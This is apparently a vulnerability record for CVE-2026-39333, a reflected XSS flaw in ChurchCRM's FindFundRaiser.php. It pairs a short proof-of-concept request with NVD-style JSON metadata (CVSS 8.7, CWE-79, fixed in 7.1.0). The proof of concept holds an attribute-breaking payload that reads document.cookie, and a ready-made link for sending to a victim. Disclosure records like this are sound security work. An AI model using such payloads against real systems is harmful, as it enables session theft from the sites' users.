CVE-2026-39333

# PoC URL Example # Access the vulnerable endpoint with a malicious payload in the DateStart parameter # The payload closes the attribute and adds an onmouseover event to trigger alert(1) GET /FindFundRaiser.php?DateStart=%22%20onmouseover%3D%22alert%28document.cookie%29%22%20x=%22 HTTP/1.1 Host: target-churchcrm.com User-Agent: Mozilla/5.0 Cookie: SESSIONID=valid_session_id_here # Alternatively, a simple HTML link to send to a victim: # http://target-churchcrm.com/FindFundRaiser.php?DateStart=" onfocus="alert(1)" autofocus="

{"cve": {"id": "CVE-2026-39333", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:44.997", "lastModified": "2026-04-10T20:57:56.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, he FindFundRaiser.php endpoint reflects user-supplied input (DateStart and DateEnd) into HTML input field attributes without proper output encoding for the HTML attribute context. An authenticated attacker can craft a malicious URL that executes arbitrary JavaScript when visited by another authenticated user. This constitutes a reflected XSS vulnerability. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-fqq6-qrcf-h7h5", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}